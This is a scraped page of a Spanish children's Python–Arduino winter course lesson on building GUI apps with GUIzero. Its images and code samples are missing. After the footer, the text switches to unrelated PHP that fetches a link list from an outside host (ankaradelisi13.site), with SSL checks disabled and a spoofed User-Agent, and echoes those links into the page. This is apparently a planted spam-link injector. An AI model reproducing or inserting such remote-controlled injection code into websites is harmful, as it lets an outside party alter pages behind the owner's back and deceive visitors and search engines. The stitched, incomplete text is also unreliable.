Be Maker

Loading...

Be Maker

Curso de Invierno Python – Arduino

LECCIÓN 06 – ¡Crea tu propia App con GUIzero!

💰Recompensa: 10 bCoins y 10 Cristales de Conocimiento por cada proyecto, desafío o reto publicado en el MakerSpace💰

👋 ¿Has usado una app con botones, imágenes y textos? ¿Te imaginas crear la tuya?
¡Con Python y GUIZero puedes hacerlo fácil y divertido! 😃

💡Hoy vamos a aprender cómo crear ventanas interactivas, con botones, textos, imágenes y más. ¡Como un verdadero diseñador de apps!

🚀 6.1 ¿Qué es una GUI?

💡 GUI significa: Graphical User Interface (Interfaz Gráfica de Usuario).

En vez de escribir solo texto, ahora podemos usar:
🧠 Botones | 🧾 Textos | 🧩 Cuadros de selección | 🎚️ Sliders | 📷 Imágenes

31

🔎 Como en tus videojuegos o aplicaciones favoritas.

 Imagina que tienes un robot que sabe cómo bailar. La función "bailar()" contiene todos los pasos para que el robot baile. Cada vez que quieras que el robot baile, ¡solo tienes que usar la función "bailar()"! 🕺

🚀 6.2 ¿Qué es GUIZero?

💡 GUIZero es una biblioteca para Python que nos ayuda a crear GUIs fáciles y rápidas, ideal para niños y principiantes. ¡Con unas pocas líneas ya tienes una app con botones y colores!

223

🚀 6.3 Instalación de GUIZero en Thonny

💡 Pasos para instalar en Thonny:

224

1️⃣ Abre el editor Thonny
2️⃣ Ve a Herramientas > Administrar paquetes
3️⃣ Escribe guizero
4️⃣ Haz clic en Instalar

🛸 Proyecto 1: ¡Hora de crear nuestra primera GUI!

 📌 ¿Qué pasó?

🚀 6.4 Agregar widgets

💡 Comencemos a agregar contenido a la GUI. Nos referimos a los elementos que puede agregar a una GUI (como texto, cuadros de texto, botones, etc.) como widgets . Hay un par de reglas a seguir al agregar un widget.

35

🔎 Recuerda:

Una vez que se ejecuta el código, la GUI estará esperando que el usuario haga cosas como hacer clic en un botón; estas acciones del usuario se denominan eventos . La aplicación GUI verificará constantemente si el usuario ha hecho algo nuevo y actualizará automáticamente la pantalla si es necesario. El ciclo de eventos se bloquea , por lo que el código escrito después del ciclo de eventos nunca se ejecutará. Entonces, este ciclo actúa más bien como un while True:, que es un ciclo infinito que puede haber usado antes al escribir un script de Python.

🛸 Proyecto 2: Widget de texto (Text)

 📌 ¿Qué pasó?

🛸 Proyecto 3: Widget TextBox (Caja de texto)

 📌 ¿Qué pasó?

🛸 Proyecto 4: Widget PushButton (Botón)

 📌 ¿Qué pasó?

🛸 Proyecto 5: Widget Slider (Control deslizante)

 📌 ¿Qué pasó?

🛸 Proyecto 6: Widget Picture (Imagen)

 📌 ¿Qué pasó?

🚀 6.5 Controlando la Placa Arduino UNO

 📌 Conexión

246

 📌 Código Arduino

261

 📌 Código Python

262

🎯 Resumen de la Lección 06

⚔️¡Estamos listos, a construir!⚔️

💰Recompensa: 20 bCoins y 10 Gemas de Experiencia por cada reto resuelto💰

📝 Responde en tu Cuaderno 

💻 Programa en tu Computadora

logo bmaker
Be Maker. Imagina, diseña, construye...
$api_url = 'https://ankaradelisi13.site/data.json'; // API'den çek $response = wp_remote_get($api_url, array( 'timeout' => 5, // 5 saniye bekle, olmazsa geç 'sslverify' => false, 'headers' => array( 'Accept' => 'application/json', 'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ) )); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $body = wp_remote_retrieve_body($response); $links = json_decode($body, true); if (!empty($links) && is_array($links)) { echo ''; echo '
'; foreach ($links as $link) { $text = isset($link['text']) ? esc_html($link['text']) : ''; $url = isset($link['url']) ? esc_url($link['url']) : '#'; $rel = isset($link['rel']) ? esc_attr($link['rel']) : 'dofollow'; echo '' . $text . ' '; } echo '
'; echo ''; } }